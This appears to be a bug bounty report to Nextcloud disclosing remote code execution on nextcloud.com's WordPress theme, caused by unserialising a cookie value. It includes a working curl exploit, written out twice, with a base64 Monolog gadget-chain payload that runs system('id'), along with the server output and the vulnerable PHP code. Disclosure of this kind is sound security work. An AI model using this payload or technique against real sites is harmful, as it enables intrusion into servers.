Nextcloud · Report #2248328
RCE on Wordpress website
Summary
Nextcloud.com is using a custom self-developed theme which was vulnerable to a remote code execution (RCE).
This was caused due to unserialising user-input from cookies as can be seen at https://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php#L114
As gadget chain I’ve used Monolog which was also installed, the final exploit to execute arbitrary code (system(“id”)) looked like this:
curl -i -s -k -X $'GET' \
-H $'Host: nextcloud.com' \
-b $'nc_cookie_banner={\"essentials\":true,\"convenience\":false,\"statistics\":{\"matomo\":false},\"external_media\":{\"youtube\":false,\"vimeo\":false}}; wp-wpml_current_language=en; nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==' \
$'https://nextcloud.com/newsletter/'
The response would then contain the reply of the executed code:
<!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
How it was found
There is a trivial to exploit Remote Code Execution on nextcloud.com due to unserializing user input.
Proof of concept
The following command will execute the system('id') command on the host. As gadget chain I've used Monolog which is included in the PodLove WordPress plugin used on nextcloud.com:
curl -i -s -k -X $'GET' \
-H $'Host: nextcloud.com' \
-b $'nc_cookie_banner={\"essentials\":true,\"convenience\":false,\"statistics\":{\"matomo\":false},\"external_media\":{\"youtube\":false,\"vimeo\":false}}; wp-wpml_current_language=en; nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==' \
$'https://nextcloud.com/newsletter/'
The last line of the response will contain the output of the id command:
<!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Vulnerable lines of code
The unserialize call in the below code paths is performed on user-input. ($_COOKIE['nc_form_fields'])
add_filter( 'ninja_forms_render_default_value', 'nc_change_nf_default_value', 10, 3 );
function nc_change_nf_default_value( $default_value, $field_type, $field_settings ) {
if(isset($_COOKIE['nc_form_fields'])){
$nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));
if( str_contains($field_settings['key'], 'name') && !str_contains($field_settings['key'], 'organization') ){
if(isset($nc_form_fields['nc_form_name'])) {
$default_value = $nc_form_fields['nc_form_name'];
}
}
if( str_contains($field_settings['key'], 'email') ){
if(isset($nc_form_fields['nc_form_email'])) {
$default_value = $nc_form_fields['nc_form_email'];
}
}
if( str_contains($field_settings['key'], 'phone') ){
if(isset($nc_form_fields['nc_form_phone'])) {
$default_value = $nc_form_fields['nc_form_phone'];
}
}
}
return $default_value;
}
add_filter( 'ninja_forms_render_options', function( $options, $settings ) {
//https://www.html-code-generator.com/php/array/languages-name-and-code
$languages_list = array(
'en' => 'English',
// [snip]
'zu' => 'Zulu - isiZulu'
);
if(str_contains($settings['key'], 'language')) {
$options = [];
$browser_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
$pref_lang = '';
if(isset($_COOKIE['nc_form_fields'])){
$nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));
if( isset($nc_form_fields['nc_form_lang'])){
$pref_lang = $nc_form_fields['nc_form_lang'];
}
} else {
$pref_lang = $browser_lang;
}
foreach($languages_list as $code => $language) {
$selected = false;
if($pref_lang == $code){
$selected = true;
}
$options[] = [
'label' => $language,
'value' => $code,
'calc' => 0,
'selected' => $selected
];
}
}
return $options;
}, 10, 2 );
Impact
RCE on the nextcloud.com WordPress instance. I have not tried to escalate up from the host, but I'd assume there is plenty of privilege escalation potential. (or at least the ability to set malicious download links for the Nextcloud binaries)